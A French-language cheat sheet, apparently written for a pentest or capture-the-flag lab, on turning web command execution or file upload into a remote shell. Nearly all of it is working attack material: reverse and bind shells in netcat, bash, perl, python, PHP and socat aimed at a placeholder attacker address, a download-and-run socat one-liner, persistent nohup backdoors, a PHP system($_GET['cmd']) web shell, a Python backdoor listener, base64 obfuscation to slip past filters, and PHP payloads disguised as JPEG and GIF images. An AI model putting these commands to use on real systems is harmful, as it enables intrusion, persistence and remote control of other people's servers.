Web Shell

Vous avez trouvé une requête web qui permet d'executer des commandes sur le serveur, ou vous avez reussi à trouver comment uploader un fichier qui peut être exécuté.
Votre objectif maintenant est d'obtenir un shell sur la machine, ce qui permettra une exploitation confortable.
Vous allez utiliser les outils installés sur le serveur (netcat, bash, php, python, perl, ...) pour ouvrir un shell sur le serveur et le connecter à votre shell.

Netcat, est le couteau suisse des connections entre serveurs.
Il peut se mettre en écoute, se connecter et lancer des shells.

Les anciennes versions possédaient l'option -e ou -c qui permet de lancer un shell. Les version récentes ne possèdent plus cette option pour des raisons de sécurité
Sur Kali on trouve une version 1.10 en :

/usr/bin/nc -h
    -e shell commands : program to execute
    -c shell commands : program to execute
    -l                : listen mode
    -v                : verbose
    -p port           : local port number

Pour se connecter sur le port 3000 du serveur 10.0.0.11:

/usr/bin/nc 10.0.0.11 3000

Mettre un nc en écoute sur la kali

nc -lvp 4444

Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.

nc -e /bin/sh IPKALI 4444

Pour utiliser un reverse shell il faut connaitre l'IP publique de sa Kali.

Mettre un nc en écoute sur la kali

nc -lvp 4444

Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f

Le shell obtenu avec nc est basique. Ce n'est pas un tty.
Certaines commandes comme su vont refuser de fonctionner.
Pour upgrader notre shell, utiliser python pour avoir un shell de type tty:

python -c 'import pty; pty.spawn("/bin/bash")'

Le shell obtenu avec nc est basique. La completion avec le Tab, l'historique avec les flèches ne sont pas gérés.

Passer le nc en arrière plan avec:

Ctr-Z

Puis demander au shell actuel de passer les codes des touches brutes au shell distant, et repasser sur le netcat (foreground)

stty raw -echo
fg

Attention: Tenter cette manip dans un browser va juste freezer le shell. Le browser modifie lui aussi les codes des touches. Ca ne marche que dans une VM.

Tant que votre nc est connecté, vous bloquez un thread du serveur web. En fonction de la configuration du serveur, il peut avoir 6, 16, 32 threads... Dont autant de nc en parallèles avant saturation. Pour libérer le serveur pour les copains: Dans le nc connecté, choisissez un second port et lancez un second bindshell netcat en arrière plan:

binshell: 
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &

reverse shell: 
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &

La commande nohup va détacher le process nc du shell en cours. Faites un Ctrl-C pour couper la connection nc, la page avec votre webshell se libère. Un autre utilisateur peut se connecter. Lancer un nouveau nc pour vous connecter à ce nouveau bindshell.

Un bind shell est utile quand notre Kali est derrière un NAT. Ce shell est fragile, un scan de port va le déclencher et le fermer. Lance un shell, ouvre une socket TCP en écoute sur le port 4444, et donne accès au shell au premier qui se connecte.

nc -e /bin/sh -lvp 4444

Se connecte au netcat distant pour avoir accès au shell.

nc iptarget 4444

Lancer un bind shell sur la cible

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f

Se connecter avec un nc

nc victim 4444

Socat est un nc sous stéroides. Il permet une authentification, un chiffrement des communications et un forward de ports.
On le trouve rarement sur les serveurs, il faut l'uploader.
Mettre un socat en écoute

socat file:`tty`,raw,echo=0 TCP-L:4444

Lancer un reverse shell avec un socat

$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444

Automatiser l'upload et le reverse shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Pwncat est un nc sous stéroides.

https://github.com/cytopia/pwncat

Netcat et python ne sont pas installés sur le serveur. Il est toujours possible de lancer un reverse shell en bash.
Mettre un nc en écoute votre host:

nc -lvp 4444

Lancer le reverse shell à partir de votre cible:

bash -i >& /dev/tcp/IPKALI/4444 0>&1

Mettre un nc en écoute sur la kali

nc -lvp 4444
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Mettre un nc en écoute sur la kali

nc -lvp 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'

Mettre un nc en écoute sur la kali

nc -lvp 4444
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Si vous pouvez uploader un fichier php sur le serveur web, le fichier ci-dessous vous permettra de lancer des commandes shell:

<?php echo 'Shell: ';system($_GET['cmd']); ?>

Lancer la commande 'id' sur le server

curl http://IPSERVER/cmd.php?cmd=id

Uploader la page

<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>

Lancer la commande 'id' sur le server

curl http://IPSERVER/cmd.php?cmd=id

Parfois certain caractères comme les ; les & ou les | sont filtrés. Un encodage base64 permet de s'en sortir.
Dans un shell encoder en base64:

$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64

Code PHP du reverse shell

eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));
import sys,socket,time,re,subprocess,os

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:         
    data = conn.recv(1024)
    cmd = data.strip().split(' ')
    if cmd[0] == 'cd':
        os.chdir(cmd[1])
    elif cmd[0] in ('exit'):
        break
    else:
        conn.send(subprocess.check_output(cmd)+'\n>') 
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Si vous pouvez upload un fichier jpg, il est possible d'y cacher un webshell.
Un fichier jpeg est identifié par ses premiers octets qui ont la valeur : ffd8ffe0
Pour générer un fichier qui sera identifié comme ayant une entête Jpeg valide:

printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg

Ce fichier sera reconnu comme un fichier jpg

$ file webshell.jpg 
webshell.jpg: JPEG image data

Un fichier gif est identifié par ses premiers octets qui ont la valeur : GIF89a;
Pour générer un fichier qui sera identifié comme ayant une entête gif valide:

printf "GIF89a;<?php system('id'); ?>" > webshell.gif

Ce fichier sera reconnu comme un fichier gif

$ file webshell.gif 
webshell.gif: GIF image data

Un fichier image contient de nombreuses informations : date de prise de vue, localisation, type d'appareil photo...
Nous pouvons injecter du code php dans ces données.

exiftool -Comment='<?php system('id'); ?>' webshell.jpg

A lire pour en savoir plus:
Liste de webshells

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Webshell en pure php: php-reverse-shell.php

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Yop Webshell: yopwebshell.php
Yolo Webshell: yolowebshell.php